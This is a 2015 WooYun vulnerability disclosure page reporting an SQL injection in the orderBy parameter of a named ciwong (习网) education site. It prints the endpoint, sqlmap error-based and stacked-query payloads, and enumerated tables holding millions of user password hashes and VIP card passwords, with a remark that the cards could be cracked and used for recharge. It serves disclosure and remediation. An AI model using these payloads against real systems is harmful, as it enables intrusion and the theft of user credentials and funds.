当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-093124

漏洞标题:习网某站SQL注入泄露大量敏感信息

相关厂商:习网

漏洞作者: 路人甲

提交时间:2015-01-21 19:08

修复时间:2015-03-07 19:10

公开时间:2015-03-07 19:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-21: 细节已通知厂商并且等待厂商处理中
2015-01-22: 厂商已经确认,细节仅向厂商公开
2015-02-01: 细节向核心白帽子及相关领域专家公开
2015-02-11: 细节向普通白帽子公开
2015-02-21: 细节向实习白帽子公开
2015-03-07: 细节向公众公开

简要描述:

怎么都走小厂商流程了?求前台

详细说明:

http://liuying.ciwong.com/web/work/_DesignWorkList?0.0916321964468807 (POST)
gradePhase=1&workType=4&title=e&orderBy=FinalistOn&orderByType=1&pageCurrent=1


其中orderBy字段未过滤。

漏洞证明:

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: orderBy (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: gradePhase=1&workType=4&title=e&orderBy=FinalistOn AND (SELECT 5842 FROM(SELECT COUNT(*),CONCAT(0x71766a7871,(SELECT (CASE WHEN (5842=5842) THEN 1 ELSE 0 END)),0x716b7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&orderByType=1&pageCurrent=1
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: gradePhase=1&workType=4&title=e&orderBy=FinalistOn; SELECT SLEEP(5)-- &orderByType=1&pageCurrent=1
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: MySQL 5.0
current user: 'ciwong_it@%'
720多万用户信息:
Database: cw_pay
Table: pay_user
[9 columns]
+---------------+--------------+
| Column | Type |
+---------------+--------------+
| amount | double |
| is_lock | tinyint(4) |
| lock_amount | double |
| password | varchar(128) |
| password_salt | varchar(128) |
| un_lock_time | datetime |
| update_time | datetime |
| user_id | bigint(20) |
| user_name | varchar(50) |
+---------------+--------------+


+----------+---------+
| Table | Entries |
+----------+---------+
| pay_user | 7256464 |
+----------+---------+


不过dump后发现很多都是空记录

pay_user.jpg


100多万VIP卡信息:

current user:    'ciwong_it@%'
Database: cw_pay
Table: vip_card
[7 columns]
+-------------+-------------+
| Column | Type |
+-------------+-------------+
| begin_time | datetime |
| card_id | varchar(10) |
| card_pwd | varchar(50) |
| card_type | tinyint(4) |
| create_time | datetime |
| expire_time | datetime |
| status | tinyint(4) |
+-------------+-------------+


+----------+---------+
| Table | Entries |
+----------+---------+
| vip_card | 1491556 |
+----------+---------+


dump了部分信息,卡密码可以上cmd5解密,8位数字卡密

vip_card.jpg


貌似可以拿来充值....,未进一步验证

chongzhi.jpg


修复方案:

1//过滤
2//限制表访问

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:19

确认时间:2015-01-22 14:43

厂商回复:

漏洞修复中...

最新状态:

暂无